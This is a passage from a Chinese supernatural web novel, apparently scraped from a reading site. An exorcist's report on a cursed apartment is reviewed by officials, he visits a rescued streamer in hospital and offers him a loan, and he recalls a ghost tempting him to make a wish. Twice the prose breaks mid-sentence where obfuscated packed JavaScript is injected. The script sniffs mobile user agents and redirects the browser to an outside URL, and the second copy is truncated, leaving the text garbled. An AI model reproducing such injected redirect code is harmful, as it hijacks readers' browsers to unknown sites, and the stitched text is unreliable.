他一方面担心自己会受到白幽灵的诅咒,一方面亏心事越做越多,越发害怕报复,日积月累的恐惧压垮了他的精神。 终于,在妻子舒涵提出离婚的时候,他彻底崩溃,发疯砍死了舒涵。 等到清醒后,沈天合又感到无比愧疚,想要再度向白幽灵寻求帮助,让它用血肉献祭的能力复活她。 为此,沈天合杀死了当时公寓里的四个邻居,复刻了当年的“四换一”。 然而,尚在封印的白幽灵却并没有回应他。沈天合愿望落空,最终绝望自杀。 ——这就是骇人听闻的红梅公寓惨案。 红梅公寓一案成为传遍全城的邪闻,对基石药业的生意造成了惨重的打击,股价接连暴跌。不久之后,管理局也注意到了他们的违法生意中有通灵者参与,派出除魔师将其彻底清剿。 早在三年前,基石药业就已经被铲除了。 但沈天合不知道的是,在和他进行离婚对谈之前,舒涵为了避免影响到孩子,将八岁的沈月暂时带到了地下室,想等谈话结束后再接她出来。 可舒涵和沈天合相继死在了这一天,再也没有人知道地下室的沈月。 死后,沈天合的执念化成诅咒,在红梅公寓中形成了域,希望向白幽灵许愿来复活妻子,于是在域中不断重复着杀死四个人的过程。 沈月死后的执念同样化作诅咒盘踞此地,这也就成为了一个罕见的双诅咒域。由于执念有所重叠,常年相安无事。 这本是一个稳定而封闭的诅咒域,只有极少数同样对白幽灵有强烈渴求的人才会被吸引进去,就此失踪。再加上红梅公寓废弃良久,管理局并未过多关注。 直到三天前,赵嘉言由于在公寓中进行白幽灵的许愿仪式而失踪,才再度引起了注意。 管理局本身处于超负荷状态,再加上这个域相对稳定,数天后才能腾出人手前往调查。而赵嘉言的母亲赵香因为担心儿子的安危,自己在灵异协会的暗网上联系了一位除魔师去寻找其下落。 这也是常见的,管理局并不插手民间交易。不过自由除魔师的资质良莠不齐,委托者也得后果自负。 这个接受委托的除魔师就是周少麟。 他通过同样的许愿仪式进入域后,很快找到了赵嘉言。 为了将其带出,他先是杀死了二级诅咒沈天合,却发现沈天合的依附物,也就是封印白幽灵的一级灵器【死匣】会对进入域的人产生诱惑,使之失去理智。 受到域影响的赵嘉言在神志不清的状况下打开死匣,放出了白幽灵,随后很快被周少麟击昏。 以血肉献祭为能力的诅咒本就依赖生者的滋养,何况它在这个域中属于依附物而非掌控者。 因此,被封印五年、刚刚释放的白幽灵极其虚弱,周少麟以此为机会杀死了它。 但白幽灵作为实现沈天合和沈月执念的重要载体,本身在域中的地位就极其特殊。同样希望向白幽灵许愿一家相聚的诅咒沈月因此陷入疯狂,吞噬了同类诅咒沈天合,掀起了诅咒域畸变。 这对周少麟来说属于超纲事故,但他在此之前已经通过记忆碎片了解到了域的内在逻辑,因此找到了沈月的依附物将其摧毁。 以祓除诅咒沈月的方式,他中止了域的畸变。 报告清晰工整,逻辑合理,和所有资料都能一一对上相互佐证,比如白幽灵淡出传闻的时间、沈天合的背景调查等,可信度远高于错漏百出的传言。 如其所说,周少麟并没有做什么出格的事情。他只是一晚杀了三个诅咒,没必要隐瞒。 “……” 裴誉合上最后一页纸,抬头看向陶桃:“说说你的看法吧。” “是。”陶桃将短发撩到耳后,声音干练: “周少麟的提审主要由我负责,时间从今天下午两点到五点。 “他复述经历时非常流利,询问细节也没有矛盾,考虑到他阻止诅咒域畸变的行动,以及双诅咒域的特殊性和复杂性,我认为,可以判定此次畸变事故系意外所致。 “不存在故意诱导行为,也不足以说明自由除魔师周少麟有威胁社会的潜在倾向。” “不过,”陶桃顿了顿,“畸变事故毕竟重大,我还是调出了他的档案来确认一下。” “周少麟,二十岁,次二级除魔师,十八岁来到天海市,此后每年准时登记和考核,档案总体来说十分正常…… “……但是,也只有这部分正常。” 冷白的灯光打在脸上,陶桃语气肃然:“因为他十八岁以前的经历,没有任何记录。” “联盟要求所有通灵者每年登记,这种情况并不常见。我尝试进行追溯,却只得到了一条信息,也就是他正式成为除魔师的时间,2019年。 “周少麟通过资格考试是在五年前,也就是说他当时只有十五岁,比正常提前了三年获授,应该是管理局成立以来最年轻的除魔师。 “这种资质本不可能被忽视,但在十五岁到十八岁这段时间,周少麟作为除魔师的经历都是空缺的,不属于任何组织,也没有参与任何任务。 “……五年前还处于黑蛇之乱,这段时间 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17308637|196465||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的档案确实容易混乱,但什么记录都没有?那他这三年在做什么呢?如果是被刻意隐藏了,原因是什么?” 陶桃犹豫了一秒:“这也是我不确定的地方。周少麟在这次事故乃至过往两年中的表现都没问题,但他之前的经历呢?您认为是否有必要关注和调查?” 窗外的霓虹亮如昼海,灯光在墙上投出裴誉峻拔的剪影。 “不必了。”他将文件推到陶桃面前,“但证词要复核。等赵嘉言清醒后,和他一条条确认域中的经历。然后,找到与沈天合生前有接触的人,尤其是基石药业的前员工,包括在服刑的,重点询问这些地方。” 黑笔在文件上简单圈画出了一些词句,部分写了批注,都是再正常不过的细节。 陶桃有些没反应过来。一片空白的背景无须深究,清晰合理的证词却不能采信? “他从来没有在畸变事故上出过问题,证词说这么融洽,反而像是编的。”裴誉没什么表情地说,“就当例行核查吧,但不必再找周少麟确认了。他如果真的说谎,不会蠢得在言辞上出错。” “背景和信用没问题,不代表他在这件事上没有隐瞒,虽然我不知道理由是什么。” 特级总会有些千锤百炼出来的恐怖直觉,裴誉的判断极少出错,但这次陶桃也感到困惑了。 诅咒域诡异多变,再优秀的除魔师也会有力不能及的时候。以前没有出错过,出错就是有隐情,这种质疑毫无道理。 可裴誉说得却又那么直接而自然,自然得仿佛这就是事实。就像他在红梅公寓说周少麟不需要治疗,去医院就真的什么伤也没查出来。 “你们以前是认识吗?”陶桃下意识地问道,“您好像……很了解他。” 空旷的办公室忽然陷入了沉默。 裴誉垂着头,一言不发。陶桃静静地看着他,等待着回答。 不知过了多久,她才听到一个略微沙哑的声音,低沉地响起。 “……不了解。” 裴誉低低地说:“从没了解过。” 夜晚的城市灯火通明,映在裴誉那双沉黑的眼眸中,就像落入了不见底的黑洞。 一个人眼里居然可以藏着这么深重的情绪,仿佛天降暴雨,静默了不知多少年的潭水都满溢而出。 陶桃的目光落在办公桌上,她这才发现裴誉之前并没有在翻文件,桌上散落的其实是厚厚的相册。 他在看照片。以前的照片。 特级的大部分时间都在工作,少数休息的时候往往也留在管理局里,所以办公室有很多生活化的东西。裴誉的办公桌上放着各种绿植、木雕和大大小小的相框,里面都是他和以前队友的照片。 裴誉是孤儿出身,没有家人,被发现有通灵天赋后由除魔师收留,才送往专业的学校培养。 黑蛇之乱的时候,他还并非特级,却以出色的资质加入了当时联盟最强大的队伍之一,追随以杀死诅咒“钩蛇”而一战成名的天才特级——陆无疾。 在陆无疾所带领的特遣三队,裴誉重新拥有了队友和家人,又在战争中逐一失去了他们。 黑蛇之乱的终战——“红井行动”中,特级除魔师陆无疾确认死亡,特遣三队彻底解散。不过也谈不上解散了,因为当时的特遣三队已经只剩下了两个人。 黑蛇之乱结束后,裴誉被管理局重新收编。他当时还只是二级,此后却以堪称恐怖的速度不断进阶,直到半年前杀死诅咒“黑狱”,正式晋升特级,站到了曾经陆无疾所在的位置上。 裴誉再也没有加入过任何队伍。 过去的照片摆放在桌上,鲜活的时光被定格在一瞬,这就是他的队友和家人留给他最后的东西。 有一张相片被从木框里取了出来,这张照片是陶桃熟悉的,一直放在裴誉办公桌最显眼的地方,那是他二十岁生日的场景。 二十岁的裴誉站在最中间,剑眉星目,意气飞扬。他右边是绑着高马尾的年轻女人,和穿花衬衫的高挑男人。陆无疾在左边,气质从容而温和。 午后的山谷阳光明媚,天穹湛蓝,花海绵延,每个人都笑容灿烂。 照片的边缘被折叠过,有一道清晰的折痕。 折叠的部分是一个少年,他站在陆无疾旁边,个子要矮上不少,陆无疾搭着他的肩膀,自然熟稔得像是老师或兄长。少年似乎是突然被揽过来的,神情有些拘谨。 十五岁的周少麟气质还远没有现在那么疏离冷静,他看着镜头,琥珀色的眼睛里倒映出天光云影。 照片下的白底写着一行小字:2019年7月17日,特遣三队全体,于塞尔维斯山谷留影。 24.无人知之者(2) 晚上七点,天海市附属第一人民医院,住院部。 赵嘉言躺在病号床上,缓缓睁开了眼。 视野过了好几秒才清晰起来,全身上下都酸痛无力。他觉得自己好像被反复捶打过,手脚沉重得如同灌了铅,一根手指都动弹不得。 “你醒了。” 冷淡的声音从身侧传来,自然得像是巡访病号的医生。 “!”赵嘉言猛地转头,看向床边的人影。 但这一扭就拧到了脖子,他立刻又龇牙咧嘴地躺了下去。 “你的意识和身体都被诅咒域侵袭过,感到乏力是正常的。此外还有轻微脑震荡,建议不要乱动。” 周少麟将金属书签插进书页里,放到柜子上,显然在等待的时间里他一直在看书。 “躺着就行了。我有事要说。” 赵嘉言瞪大眼睛,显然还没从惊愕中回过神来:“你……” 头像是被撞了一下,混沌的意识被拨开,海潮般的记忆涌入他的脑海。 ——漆黑地下室里小女孩细碎的絮语、逃不出的公寓小区、扭曲狂乱的意志、刺入人体的淬毒匕首……最后定格在一声清脆的枪响上。 他向周少麟开的一枪。 “……”赵嘉言的目光一点点垂落下去,“你还是……救了我。” “这是委托内容。”周少麟说。 这句话的语气依然没什么波澜,既不怨恨也不谴责更不挟恩图报,只是纯粹地陈述事实。好像他只是正常地接了个任务救了个人,被救目标并没有在域里捅他一刀。 赵嘉言恍惚地看向他,只一眼,又很快缩回去,不敢再直视。 许久之后,他才生涩地开口:“……伤,没事了吗?” 周少麟已经换了身干净的衣服,腹部没有任何血渗出的痕迹,也不像是缠着厚厚的纱布。他坐在医院的病床边,看上去远比躺在病床上的赵嘉言正常健康。 在域里的致命重伤就像一个幻觉,幻觉消散了,他还是毫发无伤。 “有事就不会坐这里了。”周少麟平淡道,“你的情况比较严重,还要住院几天。” 赵嘉言苦笑一声,看向空白的天花板:“……除魔师,真厉害啊。” 能修炼灵力的果然都不是一般人,被捅的一点事没有,捅人的反而脑震荡住院。他还真是蠢货,害人害己。 ……但是,这样也好。 这样……他会稍微感到安慰一点。 “不用太在意了。”周少麟说,“你毕竟受到了域的影响,普通人在域里做出极端行为并不少见。” “……” 赵嘉言轻轻摇了摇头,“就算受到了诅咒域的影响,也是因为我心里真的有这种想法,才会被控制……我那个时候,是真的想杀了你。” “……所以,对不起。” 他用颤抖的手臂遮住眼睛,咽哽地说:“……对不起。” 一行眼泪濡湿了病号服的衣袖,沿着赵嘉言的侧脸滑落,滴在枕头上。他一抽一抽地哭了起来。 这个死里逃生的青年像是忽然被汹涌而来的情绪冲垮了,到后来他甚至说不出完整的话,只是痛哭。压抑的呜咽声在空旷的病房里回响,间杂着一遍一遍的对不起。 一个人的痛哭总是复杂的,有愧疚,有悲恸,有后知后觉的恐惧,有面对生活的无可奈何。 眼泪映在静如深潭的眼中,周少麟说:“知道了。” 等到赵嘉言情绪稍微平静下来,他递了张纸巾过去,“我是来找你说其他事的。” 赵嘉言的眼眶还是通红的,闻言一愣:“……什么?” “先问一个问题。”周少麟说,“你现在给你母亲攒的治疗费用都是积蓄吗?如果不是,借了多少。” “……” “十二万是之前攒的,十万向银行贷的,五万借的朋友,剩下的找了借贷机构……名字你应该不知道。” 赵嘉言停住,艰难道:“我、我在他们那还有些额度的,报酬我一定会给你。还有,赔偿也……” “我不需要赔偿。”周少麟平静地说,“相反,如果你退掉之前的不正规贷款,我还可以借钱给你。” 他抽出一张名片,推到赵嘉言面前。 “这是一家由我注资的私立基金会,你可以联系经理人申请上限200万的援助贷款,用于你母亲的治疗。还款期限是40年,前三年免息,第四年起年利率是0.8%。如果偿还能力不足,可以再申请延期。如果贷款额度不足,可以通过提供病历和缴费单再申请增加资金。” “但有一个条件,全部贷款只能用作你母亲的治疗费用,如果基金会发现你挪作他用,会立刻暂停资助并进行追讨。” 他看着赵嘉言的眼睛:“接受吗?” 黑白名片上是一个熟悉的名字。这是家规模不小的慈善基金会,赵嘉言在很多公益计划的主办单位里见过,只是没想到股东竟在他身边。 天降大礼突如其来,直接给他整傻眼了。 “这……”赵嘉言手足无措,“真、真的吗?不是,为什么?” ——他横竖在域里捅了周少麟一刀,对方不计前嫌救他一命已经很高风亮节了,解释成做任务拿报酬也合理。可是借钱? 除魔师据说是不缺钱,赵嘉言在域里也不是没有动过协商的念头,但很快又被打消了,因为周少麟没这个义务。 他只是拿钱办事,有什么必要体贴别人的难处? ……就算周少麟真的有做慈善的爱好,可自己都做出过那种事了,他竟然还愿意帮忙吗? “有其他的条件。”周少麟说,“如果你接受援助,就要一并答应这些事。” “我接受!”赵嘉言脱口而出,神情迫切,“——只要能救我妈,不管什么条件我都接受,何况、何况是你拜托的。你说吧!” “好。”周少麟把两张纸递给他,“第一件事,不久后,管理局就会来找你确认在域里发生的事,你按照这张纸上的内容来回答,没写的就说记不清了或者没有。” 赵嘉言接过纸,懵懵懂懂地读了一遍。 内容从他进入域一直写到昏迷前,和真实情况都没什么大差别,主要是一些对话内容省略了,也不知道是为什么。 以及,没有写他捅伤周少麟的部分。 “这个,”赵嘉言的目光闪烁了一下,“……不用说吗?” 在域里不受法律约束,但那是死无对证的情况下。既然周少麟活着,他要是向管理局提出指控,赵嘉言也没什么可辩解的。 “没必要。”周少麟说,“按这个讲,你看完就撕掉。” 赵嘉言一怔,随后用力点头。 “第二件事,不算要求,只是建议。”周少麟继续道,“你已经进入域两次了,又从畸变域中幸存,之后,管理局应该会测试你是否有通灵天赋。” “大概率是没有。但如果有的话,他们会询问你是否愿意开启‘灵观’,加入联盟,接受训练后成为在编除魔师的一员。那个时候,我建议你拒绝。” “啊?”赵嘉言愣了愣,“为什么?这不是好事吗?” 他也算是半个圈内人,对除魔一行有所了解。【灵观】就是看见周围的死灵,这是修习法术的基础门槛。 通灵天赋各不相同,有人生下来就能通晓阴阳,有人到死都活在唯物世界里。若非生于玄门世族,大部分人一辈子也不知道自己天赋如何。 但是,如果一个人能在后天开启【灵观】,那就算摸不到成为除魔师的天赋门槛,起码可以做个通灵者,靠本事混口饭吃,就像他之前合作的朋友。 如果能有幸被管理局培养成为在编除魔师,那更加是万里挑一的好苗子,放在古代高低是个有仙缘的。不说修习术法变得多厉害了,起码后半生衣食不愁。这难道不是大好事吗? “对有的人来说也许算,但对你大概率不是。”周少麟说。 “因为你对危险的认识很浅,赵嘉言。你没有真正见过怎么祓除诅咒,进过的域也并不凶险,很难想象这个过程有多容易丧命。 “除魔师的五年死亡率是27%,相当于你每认识四个人,五年后就会死一个。管理局的体制完善很多,每年牺牲率也在12%左右,遇到紧急情况还可能全军覆没。 “再者,进入域的时间一般在晚上,所以大部分除魔师的生活都会和正常社会脱节,在管理局就更是如此。而你亲朋俱在,满身牵挂,要做这个——还是从头开始训练,首先就不会再有时间照顾你母亲,如果死在域中,你甚至不会有机会见她最后一面。 “……这些后果,到时候管理局也会告诉你,不过我想现在说会让你考虑得更清楚一点。” 周少麟顿了顿,“反正是建议,你自己决定吧。” “……” 一番话沉甸甸地压下来,赵嘉言心神巨震,一时哑口无言。 祓除诅咒必然是危险的,这点他知道。但除魔师显然也都不是普通人,灵力术法上天入地,已经完全是超出现实的领域。 ……可连他们死亡率都高达四分之一?那面对的是什么? 赵嘉言无法想象。他忽然明白了周少麟为什么要先告诉他这些。 他从来没接触过真正的灵力术法,但如果他在管理局被检测出通灵天赋,被告知可能成为除魔师,那就一定会怀抱着憧憬跃跃欲试,宁可对遍布的危险视而不见。 人在被选中时,总会觉得自己很特殊。其实大家都是普通人,谁也不特殊。 “……不。”半晌后,赵嘉言下定了决心似的说,“如果有,我会拒绝的。你说得对,我担不起这个险。” 周少麟并没有给什么评价:“如果你这么想,那还有第三件事。” 赵嘉言有点松口气的感觉,他希望周少麟提些更难办的要求。 “不要再做灵异直播了。”周少麟说,“反复接触灵异之事,早迟还会遇险的。既然不打算走这条路,还是彻底切断比较好。” 他看着呆若木鸡的赵嘉言,默然片刻,又补充道:“真想继续也可以,但我不会再接受你及亲属的相关委托了。” “不不不我不做了!”赵嘉言回过神来,立刻摇头如拨浪鼓,“本来就是给我妈攒手术费才干这个的,其实我心里也瘆得慌,不然也不会每次都带那么多东西了……我我我马上改号!转型!不作死!” 赵嘉言是真心信誓旦旦,就差把“听你的都听你的”写脸上了。 看着他指天画地的浮夸样子,周少麟很轻地笑了笑,站起身。 “那我走了。祝你母亲手术顺利。” “?”赵嘉言差点一骨碌翻床下,“不是,你说完了?就这些?” 周少麟停了停,“我没有别的要求了。” 赵嘉言呆滞。 什么啊?第一件事只是简单地串个词,甚至隐去了不利于他的部分。第二三件就更算不上事了,简直是在劝他回头是岸不要作死。 就这样?这些算什么要求? “等等,不是。”赵嘉言按着脑袋,语无伦次,“这个,为什么啊……?” “我们只是陌生人……我、我在域里还差点杀掉你……” “你……为什么要这么帮我?” 灯光模糊了卡片上的字迹,赵嘉言捏着名片的手有点颤抖,表情茫然而无措。 他不知道该如何去理解和接受这份帮助。 “没什么其他理由。”周少麟静静地说,“因为你有需要,而我能做到。” 片刻后,他又轻声道:“非要说的话,还有……弥补一些遗憾吧。” 黑衣的少年坐在床前,白炽灯光下,他的影子无端显得有些沉重。 淡色的窗帘被风哗啦啦地扬起,市属第一医院的陈设与五年前别无二致。 五年前,舒涵也曾躺在这样的病床上,在药瓶滴答声中细数着剩下的生命。 床头柜上总是放着母女两人的日记本,那是沈天合看望她时带来的,记录着沈月生活的点点滴滴。 八岁的孩子认识的字还不多,写来写去都是些简单到幼稚的事。但沈月却一直坚持在写,把每一天都努力写长些、写精彩些,还要加上各种涂鸦,像是在给自己编织一个快乐的童话。 因为妈妈告诉她,日记本写完的时候,她的病就会痊愈,她们就能一起回家。 * “谢谢你,真的谢谢你。”半晌后,赵嘉言才讷讷地说,“我、我一定会尽快还你钱的!” “嗯。”周少麟把柜子上的书收进包里,取出手机,“也不急还,先好好给你妈妈治病吧。” 医院的病房没有挂钟,他是在看时间,已经快八点了。 屏幕的亮光一闪而过,赵嘉言发现,周少麟的锁屏居然是课程表。 毕业后一直做博主,他都快忘了,明天是周一。 赵嘉言:“……” …………不会吧,还在上学? 赵嘉言忽然意识到,这个神秘强大的除魔师是真的很年轻,比他还小上好几岁。这个年纪甚至还没大学毕业,放在正常社会里,他才是应该被照顾的那个人。 周少麟正在看手机回消息,身姿笔挺。黑发自俊秀的侧脸垂落,暖色的灯光洒在他身上,让整个人的线条都柔和了几分。 离开域后,那种肃冷的杀气就从他身上褪去了。他看上去就像个会在书店驻足、会和朋友去电影院、会上课记笔记的,再正常不过的学生。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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话一出口赵嘉言心里就咯噔了,开始感到紧张。 嘱咐一句真是徒增尴尬,其实这东西对人家来说根本不算什么,也许周少麟甚至不会要,出门左拐就去吃米其林大餐了。 周少麟似乎也没想到他会说这个,在半掩的门前顿住,怔了一怔。 片刻后,他点头:“谢谢,我会的。” * 正如赵嘉言所说,他的母亲赵香就等在门外。 周少麟也是跟赵香当面打了招呼才进去病房的,他特地让管理局把赵嘉言送来同一家医院,这样她不必多跑动也能来看儿子的状况。 赵香特地把病号服换成了整洁体面的日常装,原本憔悴的病容似乎也好转了许多。 她本来还坐在走廊的长凳上,一看到周少麟就腾的站了起来:“周大师!” “久等了,赵阿姨。”周少麟对她致意,“我不是什么大师,您叫我名字就好。” “谢谢您!真的谢谢您!”赵香不住地道谢,“5万的尾款我已经打到您的账上了!然后那个网站我也确认任务完成了,不过我还不太会操作……” 她掏出手机,手忙脚乱地切换屏幕展示给周少麟看:“您看看,这样就可以了吗?要不要写评价什么的?” 暗网的委托页面简单到简陋,赏金猎人的任务系统只分完成和失败,评价是不需要的,完成率就是衡量水准的唯一指标。 周少麟回答:“这样就可以了。” 赵香放心地把手机收起来,又提起一个用心包好的纸袋,讷讷道: “还有……这是我煲的萝卜排骨汤,借医院厨房做的,还给您打了份饭。看您刚才在和嘉言说事情,我就没进去打扰。您是不是还没有吃饭?” 纸袋里装着几个热腾腾的餐盒,看起来颇有重量。周少麟伸手接过:“谢谢,太麻烦您了。” “不麻烦,不麻烦!”赵香高兴地摆摆手,她长了和善又喜庆的脸,笑起来满眼的细纹,“阿姨就做饭手艺还行,你趁热吃,多尝点!喜欢再找我,阿姨还给你做!” 明知道眼前这个少年不是一般人,但赵香总还是会下意识把他当成儿子同辈的孩子,表现得像个热情的邻居阿姨。 第一次见到周少麟的时候她都很吃惊,完全没想到所谓的除魔师会是这样一个年轻人。俊秀温和有礼貌,不像是身怀绝技的能人异士,倒像是红旗台上领奖的三好学生。 在赵嘉言突然失踪的时候,赵香急得都要疯掉了,到处打听有没有人专门解决这类神神鬼鬼的事情,好不容易才知道灵异协会网站有这么个暗网,急忙去找人帮忙。 结果一看,那些委托金都几十上百万的高得吓人,她掏空家底也拿不出那么多钱。正当焦头烂额时,有好心人劝她说,要不试着联系下【悬壶】吧,听说这个号接任务不看钱。 【悬壶】是个暗网上很有名的猎人账号,以承接任务的风格随性而闻名。据说号下是个很高阶的除魔师,干这行纯属玩票,不在乎钱,全看心情。运气好的几万元就能解决一桩凶案,运气糟的几百万也被拒之门外。 好心人劝赵香,如果实在找不到人就去他那碰碰运气,也许人家一闪念就给答应了。 赵香本来不觉得这么厉害的人会接自己的小委托,但死马当成活马医,还是在凌晨写了一大段委托说明发过去,没想到第二天就收到了回复。 对方拒绝了她提出的37万报酬,表示只需要2万定金5万尾款,不过现在时间已经有些迟了,可以过去看看,但不能确定人还活着。 赵香提心吊胆了一整天,直到今天早晨,一辆车把昏迷不醒的赵嘉言送进了医院,她悬着的心才终于放下来。 “您帮了我们这么大的忙,也不知道怎么谢谢您……”赵香又深深鞠躬,声音充满感激,“以后要是有用得上我们的地方,您一定要说,千万别客气!” 她是发自内心地感谢这个年轻人,7万对他们家并不是一个小数目,尤其是在她手术的这个关头,但她也不想再做赊欠。 这世上谁过得都不容易,人家肯低价接委托,还全须全尾地把儿子送回来,已经是天大的恩德了,何必再把自己的苦楚倒出去绑架谁呢? 至于治疗费用,赵香活快六十岁了,自己也看得开。 “您言重了。”周少麟把她扶起来,“既然接受了委托,这就是我应该做的。” 简单道别后,他就准备离开了,赵香不舍道:“不在这里吃完再走啦?” “不了,我回去。”周少麟对她挥挥手,最后道: “谢谢您的汤。祝您早日康复。” 25.无人知之者(3)【你我的故事开端】 晚上八点,医院诊室的灯大半都亮着,形形色色的人在窗口透出的光中来去,像是灯笼上的剪影。 周少麟站在楼下,回望九楼的住院部。 他一离开,赵香就立刻进病房看望赵嘉言了。不过母子相见的场面倒和温馨没什么关系,赵香看着儿子眼眶迅速红了,随后虎虎生风地扑上去说以后再干这种混事儿非把他耳朵扯来下酒,赵嘉言面对一手拉扯大自己的亲妈毫无还手之力,只能抱着头嗷嗷叫着讨饶……母子俩吵吵嚷嚷的,整个病房都闹腾起来了。 周少麟远远地看了一会儿,转过身,走入人海里。 九月的夜晚,北方已经有些凉了。医院附近就是一条繁华的商业街,道路旁种了两排梧桐树,寒风卷起飘零的黄叶。 周少麟一手提着纸袋,另一只手点进暗网的个人主页,刷新了一下,【悬壶】的委托完成数量从316跳到了317。 这是一个十三年前的老账号,承接过无数任务,完成率却始终是惊人的百分之百,高居猎人榜前列。 直到现在,账号下的人是谁已经不重要了。“悬壶”已经成为了暗网猎人中的传奇代号,虽然当初留下它的原因只是不舍得注销。 这也是那个人的一贯风格。他告诉周少麟,既然走上了这条路又无法回头,那么你总要给自己找些意义。 对他们这群人来说,意义是生存所不能缺失的东西。 找不到意义的人就像是失去锚的船,随波逐流,自己都不知道自己会漂去哪里。可握有力量的人若失去对自我的掌控,承担后果的往往不只有自己。 人潮如织,从周少麟身边走过,偶尔响起几个惊羡的声音。他默默地把连帽卫衣的帽子拉上,低着头,快步穿过人群。 从接受委托到现在,周少麟差不多40个小时没睡了,不过还是毫无困意。就是现在立刻把他扔进一个诅咒域里,大概也不怎么影响发挥。 陶桃问他怎么跟个机器似的不会累,其实融合了息壤之后的身体确实跟机械差不多,甚至比机械还省心省力。不用维修也不会生锈,出了问题就会自愈,能时刻以最好的状态高效运转。 ……只是不知道精神是否会疲惫。有时候过去的影子浮现在眼前,他都不知道是因为太累了,还是偶然想起来了。 熟悉或不熟悉的话语在耳畔回响,如隔水面,时而模糊,时而清晰。 有一个是赵嘉言在医院里问他的问题,在过去的岁月里,也曾无数次被问起。 “其实你的后两条建议,说白了都是让我不要再靠近灵异事件了……我知道,真的很危险,而且已经没必要了。你是好心,我很感谢,但这个道理对你自己不也是一样的吗?” “我是说,你这么年轻,又不缺钱,好像还在上学……” “……周少麟,你为什么要成为除魔师呢?” * “真奇怪,你为什么会成为除魔师呢?” 幽暗的地下室里,白幽站在光影的交界线上歪了歪头,神情困惑。 “成为除魔师的条件有很多,不过要说最重要的,果然还是天赋吧?灵力像你这样低微的除魔师,这么多年我还是第一次见。你来自哪个势力?他们为什么要培养你?” 她又想了想:“……不过,你成功融合了息壤,这也算是另一种意义上的天赋异禀吧。” 周少麟语气毫无起伏:“你想说明什么。” “难道不该是你要对我说些什么吗?”白幽静静地看着他,“既然你融合了息壤,那我就更不理解了。除魔师,你怎么会没有愿望呢?” “——一个快死的人,难道不想活下去吗?” 息壤,坌土也。不耗减,掘之益多,长息无限。 在弥补天赋的众多灵物之中,息壤是最强大,也最残忍的一种。 试图融合息壤的人,一百个里九十九个会直接暴亡,剩下的一个也许能有幸选择自杀。因为相比融合所要经受的痛苦,割骨剜肉凌迟剥皮都算仁慈的死法。 融合息壤而不死的概率比中彩票还小,但活下来的人,却将从此隔绝死亡。 对于成功融合者,息壤会彻底重塑他们的身体,从速度力量到反应力都远超常人,那绝非旷日持久的训练可以追上的水平。 更重要的是,融合者能以千百倍于常人的速度自愈伤口。即使被诅咒重创,只要一息尚存,就不会彻底失去战斗力。 诅咒在域中近乎可以无限再生,息壤将他们变成了同样的存在。 所以周少麟自始至终都那么冷静。沈月的致死攻击他不躲闪,赵嘉言背刺一刀他也接受,他只会分析形势采取行动,从不做任何情绪反应。 这是当然的。息壤的融合者要是分心去在乎自己会受多少伤,那也实在是不用打了。 不仅如此,当融合达到一定程度后,融合者还可以进入“燃血”状态,快速愈合伤口,并驭使焚血。焚血对死灵的杀伤性极其恐怖,周少麟也确实利用它实现了绝地翻盘。 狭小的地下室里,一人一鬼冷冷地对峙。他们的目光交错,如同纠缠的咬尾蛇。 “你好像已经非常适应息壤了。不过,偷天改命拿这种本事,不会觉得没有代价吧?”白幽轻声说。 “从融合的一刻起,息壤就在侵蚀你的身体,这种侵蚀一旦开始,就不会停下。每次你受伤、濒死,它都会让你迅速愈合,使用次数越多,融合程度就越高,痊愈越快,你的焚血也越强。这种加速是完全不可逆的,就像柴堆里的火,只会越烧越旺……但息壤烧的是你的命。” “尤其是燃血状态,你觉得那算什么呢?一种超值预支罢了。使用息壤就像从瓶子里汲水,抽提未来的生命来支撑现在的强大。在死前你当然可以一直不计代价地战斗,不过水干涸时你就会立刻死去。” 白幽短促地笑了一声:“所谓的融合也只能做到这样。毕竟,人类就是这么短暂又脆弱啊。” 天光从罅隙中洒进来,穿过女孩透明的身形,落在地上,如雾如纱。她沿着墙角行走,步子轻盈得像是在舞蹈,却没有碰到任何实然的东西。 她在说两个人都知道的事,声情并茂,如同一幕演出。 “……在你之前,我也知道其他息壤的融合者。他很明智地没有把自己变成一堆柴火,而是逃离了玄门,就此过上平静的生活。 “那个人连焚血都不能用,被刀割个口子,想痊愈要花上整整半天。即使如此,他也没有活过第十年。 “而你呢?骨头折断,脏器破裂,大量失血……致命重伤你在十几分钟里就能痊愈,甚至无须燃血。息壤已经把你改造得不像个人了,连血都变成了焚烧诅咒的火。” 白幽摇摇头:“你融合了它多久,除魔师?三年,五年?我都不敢往高了估,真的好怕你忽然死掉呀。” 周少麟手握长刀,沉默地站在原地。 他既没有回答,也没有反驳。 “虽然我不知道你当初为什么要做这种事,不过,你就不关心自己还有没有救吗?你应该也找过续命的方法吧?” “在看到我的时候,你难道就一点都不好奇——” 女孩凝视着他,眸光幽如冷泉:“【因果置换】能不能阻止息壤的侵蚀?” 周少麟终于开口了:“你想说可以?” “什么都可以啊,只要你愿意。”白幽微微地笑了,露出两颗尖尖的小虎牙。 “——所以,除魔师,许愿吧?” * 夜晚九点,天空塔。 这是天海市最高的地方,市中心的地标建筑,白天冷硬地反射出金属的光泽,夜晚则会亮起斑斓绚丽的彩灯,在中心城区的任何一个地方都能时刻看到它。 白幽坐在天空塔顶端的电缆上,俯瞰着下方稠密的人潮。 晚风撩起女孩轻盈的裙角,长发披散,漫卷如云。几只漆黑的乌鸦在她身旁起落,它们看不到她,却会避开她所在的地方。 在诅咒域彻底消散的一刻,白幽就离开了。她没有留在那里和管理局冲突,但不是因为怕那个杀气腾腾的特级。任何人类都不值得白幽恐惧。 如果谁也曾在无比漫长的岁月中不生不死,那么留下的感情只会分有趣和无趣。 塔顶的视野非常开阔,凛冽的风声、盘旋的鸟鸣与广播的电子音交织在一起,落在白幽耳畔,却都是空白一片。 